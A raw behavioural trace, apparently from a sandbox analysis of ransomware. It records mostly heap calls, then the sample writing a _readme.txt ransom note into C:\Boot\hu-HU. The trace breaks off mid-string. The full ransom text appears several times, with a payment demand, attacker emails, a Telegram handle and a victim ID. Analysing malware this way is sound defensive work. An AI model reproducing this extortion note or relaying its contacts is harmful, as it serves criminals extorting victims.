HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.209] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.210] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0059.210] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.210] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.210] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.210] PathFindFileNameW (pszPath="") returned="" [0059.210] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.210] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.210] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.210] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.210] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.210] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.210] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.210] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0059.210] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.210] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.211] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0059.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.211] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.211] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.211] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not 